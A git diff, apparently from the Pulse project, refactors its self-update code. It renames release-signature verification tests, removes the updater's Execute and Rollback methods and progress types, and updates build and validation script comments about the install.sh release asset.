TestManagerDownloadAndVerifyReleaseSignatureFailsOnMissingSidecar(t *testing.T) {dir := t.TempDir()assetPath := filepath.Join(dir, "asset.bin")if err := os.WriteFile(assetPath, []byte("payload"), 0600); err != nil {@@ -86,13 +81,13 @@ func TestFetchAndVerifyReleaseSignatureFailsOnMissingSidecar(t *testing.T) {}))defer server.Close()- err := fetchAndVerifyReleaseSignatureReal(context.Background(), server.URL+"/asset.bin", assetPath)+ err := downloadAndVerifyReleaseSignatureForTest(t, server.URL+"/asset.bin", assetPath)if err == nil || !strings.Contains(err.Error(), "404") {t.Fatalf("expected 404 error, got: %v", err)}}-func TestFetchAndVerifyReleaseSignatureFailsOnEmptySignature(t *testing.T) {+func TestManagerDownloadAndVerifyReleaseSignatureFailsOnEmptySignature(t *testing.T) {dir := t.TempDir()assetPath := filepath.Join(dir, "asset.bin")if err := os.WriteFile(assetPath, []byte("payload"), 0600); err != nil {@@ -104,13 +99,13 @@ func TestFetchAndVerifyReleaseSignatureFailsOnEmptySignature(t *testing.T) {}))defer server.Close()- err := fetchAndVerifyReleaseSignatureReal(context.Background(), server.URL+"/asset.bin", assetPath)+ err := downloadAndVerifyReleaseSignatureForTest(t, server.URL+"/asset.bin", assetPath)if err == nil || !strings.Contains(err.Error(), "empty") {t.Fatalf("expected empty-signature error, got: %v", err)}}-func TestFetchAndVerifyReleaseSignatureFailsWhenVerifierRejects(t *testing.T) {+func TestManagerDownloadAndVerifyReleaseSignatureFailsWhenVerifierRejects(t *testing.T) {dir := t.TempDir()assetPath := filepath.Join(dir, "asset.bin")if err := os.WriteFile(assetPath, []byte("payload"), 0600); err != nil {@@ -129,13 +124,13 @@ func TestFetchAndVerifyReleaseSignatureFailsWhenVerifierRejects(t *testing.T) {}t.Cleanup(func() { verifyReleaseSignatureFunc = prev })- err := fetchAndVerifyReleaseSignatureReal(context.Background(), server.URL+"/asset.bin", assetPath)+ err := downloadAndVerifyReleaseSignatureForTest(t, server.URL+"/asset.bin", assetPath)if err == nil || !strings.Contains(err.Error(), "signature does not match") {t.Fatalf("expected verifier rejection, got: %v", err)}}-func TestFetchAndVerifyReleaseSignatureFailsOnOversizedSignature(t *testing.T) {+func TestManagerDownloadAndVerifyReleaseSignatureFailsOnOversizedSignature(t *testing.T) {dir := t.TempDir()assetPath := filepath.Join(dir, "asset.bin")if err := os.WriteFile(assetPath, []byte("payload"), 0600); err != nil {@@ -152,7 +147,7 @@ func TestFetchAndVerifyReleaseSignatureFailsOnOversizedSignature(t *testing.T) {}))defer server.Close()- err := fetchAndVerifyReleaseSignatureReal(context.Background(), server.URL+"/asset.bin", assetPath)+ err := downloadAndVerifyReleaseSignatureForTest(t, server.URL+"/asset.bin", assetPath)if err == nil || !strings.Contains(err.Error(), "exceeds") {t.Fatalf("expected oversize error, got: %v", err)}diff --git a/internal/updates/updater.go b/internal/updates/updater.goindex cd24cc65a3..dd63b30cc9 100644--- a/internal/updates/updater.go+++ b/internal/updates/updater.go@@ -60,19 +60,9 @@ func (p UpdatePlan) NormalizeCollections() UpdatePlan {return p}-// UpdateProgress represents progress updates during an update-type UpdateProgress struct {- Stage string `json:"stage"`- Progress int `json:"progress"` // 0-100- Message string `json:"message"`- IsComplete bool `json:"isComplete"`- Error string `json:"error,omitempty"`-}--// ProgressCallback is called during update execution-type ProgressCallback func(progress UpdateProgress)--// Updater defines the interface for deployment-specific update logic+// Updater describes how an update would be performed for a deployment type.+// Implementations are plan providers only; the actual apply runs through the+// in-Go pipeline in manager.go ApplyUpdate.type Updater interface {// SupportsApply returns true if this deployment type supports automated updatesSupportsApply() bool@@ -80,12 +70,6 @@ type Updater interface {// PrepareUpdate returns a plan describing how the update will be performedPrepareUpdate(ctx context.Context, request UpdateRequest) (*UpdatePlan, error)- // Execute performs the update- Execute(ctx context.Context, request UpdateRequest, progressCb ProgressCallback) error-- // Rollback rolls back to a previous version using a backup- Rollback(ctx context.Context, eventID string) error-// GetDeploymentType returns the deployment type this updater handlesGetDeploymentType() string}diff --git a/internal/updates/updater_test.go b/internal/updates/updater_test.goindex e85f03d6ad..a0c0bcfbad 100644--- a/internal/updates/updater_test.go+++ b/internal/updates/updater_test.go@@ -11,8 +11,6 @@ type mockUpdater struct {deploymentType stringsupportsApply boolprepareErr error- executeErr error- rollbackErr error}func (m *mockUpdater) SupportsApply() bool {@@ -28,14 +26,6 @@ func (m *mockUpdater) PrepareUpdate(ctx context.Context, request UpdateRequest)}, nil}-func (m *mockUpdater) Execute(ctx context.Context, request UpdateRequest, progressCb ProgressCallback) error {- return m.executeErr-}--func (m *mockUpdater) Rollback(ctx context.Context, eventID string) error {- return m.rollbackErr-}-func (m *mockUpdater) GetDeploymentType() string {return m.deploymentType}@@ -215,49 +205,6 @@ func TestUpdatePlan_NormalizeCollectionsInitializesReadinessChecks(t *testing.T)}}-func TestUpdateProgress_Fields(t *testing.T) {- progress := UpdateProgress{- Stage: "downloading",- Progress: 50,- Message: "Downloading update...",- IsComplete: false,- Error: "",- }-- if progress.Stage != "downloading" {- t.Errorf("Stage = %q, want %q", progress.Stage, "downloading")- }- if progress.Progress != 50 {- t.Errorf("Progress = %d, want 50", progress.Progress)- }- if progress.Message != "Downloading update..." {- t.Errorf("Message = %q, want %q", progress.Message, "Downloading update...")- }- if progress.IsComplete {- t.Error("IsComplete should be false")- }- if progress.Error != "" {- t.Errorf("Error = %q, want empty string", progress.Error)- }-}--func TestUpdateProgress_WithError(t *testing.T) {- progress := UpdateProgress{- Stage: "failed",- Progress: 0,- Message: "Update failed",- IsComplete: true,- Error: "connection timeout",- }-- if !progress.IsComplete {- t.Error("IsComplete should be true for failed state")- }- if progress.Error != "connection timeout" {- t.Errorf("Error = %q, want %q", progress.Error, "connection timeout")- }-}-func TestMockUpdater_SupportsApply(t *testing.T) {tests := []struct {name string@@ -302,50 +249,6 @@ func TestMockUpdater_PrepareUpdate(t *testing.T) {})}-func TestMockUpdater_Execute(t *testing.T) {- ctx := context.Background()- req := UpdateRequest{Version: "1.0.0"}- progressCb := func(p UpdateProgress) {}-- t.Run("success", func(t *testing.T) {- updater := &mockUpdater{}- err := updater.Execute(ctx, req, progressCb)- if err != nil {- t.Errorf("Execute() error = %v, want nil", err)- }- })-- t.Run("error", func(t *testing.T) {- expectedErr := errors.New("execute failed")- updater := &mockUpdater{executeErr: expectedErr}- err := updater.Execute(ctx, req, progressCb)- if err != expectedErr {- t.Errorf("Execute() error = %v, want %v", err, expectedErr)- }- })-}--func TestMockUpdater_Rollback(t *testing.T) {- ctx := context.Background()-- t.Run("success", func(t *testing.T) {- updater := &mockUpdater{}- err := updater.Rollback(ctx, "event-123")- if err != nil {- t.Errorf("Rollback() error = %v, want nil", err)- }- })-- t.Run("error", func(t *testing.T) {- expectedErr := errors.New("rollback failed")- updater := &mockUpdater{rollbackErr: expectedErr}- err := updater.Rollback(ctx, "event-123")- if err != expectedErr {- t.Errorf("Rollback() error = %v, want %v", err, expectedErr)- }- })-}-func TestMockUpdater_GetDeploymentType(t *testing.T) {updater := &mockUpdater{deploymentType: "custom-type"}if got := updater.GetDeploymentType(); got != "custom-type" {diff --git a/scripts/build-release.sh b/scripts/build-release.shindex a18f49af9f..5d365468d5 100755--- a/scripts/build-release.sh+++ b/scripts/build-release.sh@@ -465,9 +465,8 @@ fi# instead of pulling from main branch (which may have newer, incompatible changes)echo "Copying install scripts to release directory..."# The published install.sh is the Pulse SERVER installer (LXC/systemd/Proxmox VE).-# In-product self-update (internal/updates/adapter_installsh.go), scripts/pulse-auto-update.sh,-# the root install.sh's own --rc/--stable/--version flows, and the README quickstart all-# fetch this asset and run `bash install.sh --version vX.Y.Z`. The rendered AGENT installer+# scripts/pulse-auto-update.sh, the root install.sh's own --rc/--stable/--version flows,+# and the README quickstart all fetch this asset and run `bash install.sh --version vX.Y.Z`. The rendered AGENT installer# (scripts/install.sh) ships inside tarballs and Docker images at ./scripts/install.sh and# is served at the running server's /install.sh endpoint — it is not a GitHub Releases asset.cp install.sh "$RELEASE_DIR/install.sh"diff --git a/scripts/installtests/build_release_assets_test.go b/scripts/installtests/build_release_assets_test.goindex 3475f9cabc..dec26b1711 100644--- a/scripts/installtests/build_release_assets_test.go+++ b/scripts/installtests/build_release_assets_test.go@@ -32,8 +32,8 @@ func TestBuildReleaseUsesV6InstallScripts(t *testing.T) {// The rendered AGENT installer is shipped inside tarballs and Docker images// at ./scripts/install.sh and served at the running server's /install.sh// endpoint, but is intentionally not a top-level GitHub Releases asset:- // adapter_installsh, pulse-auto-update.sh, the root install.sh's own --rc/- // --version flows, and the README quickstart all expect releases/<tag>/install.sh+ // pulse-auto-update.sh, the root install.sh's own --rc/--version flows, and+ // the README quickstart all expect releases/<tag>/install.sh// to be the server installer that accepts --version vX.Y.Z.`cp install.sh "$RELEASE_DIR/install.sh"`,`[ -f "${RENDERED_INSTALLERS_DIR}/install.ps1" ] && cp "${RENDERED_INSTALLERS_DIR}/install.ps1" "$RELEASE_DIR/install.ps1"`,diff --git a/scripts/validate-release.sh b/scripts/validate-release.shindex d91011c6f7..b5ff3b60cf 100755--- a/scripts/validate-release.sh+++ b/scripts/validate-release.sh@@ -497,7 +497,7 @@ if ! grep -qE '^# Pulse Installer Script' "$install_sh_path"; thenexit 1fiif ! grep -qE '^[[:space:]]*--version\)' "$install_sh_path"; then- error "install.sh is missing the --version arg handler — required by adapter_installsh, pulse-auto-update.sh, and the README quickstart"+ error "install.sh is missing the --version arg handler — required by pulse-auto-update.sh and the README quickstart"exit 1fiif grep -q 'Pulse Unified Agent Installer' "$install_sh_path"; then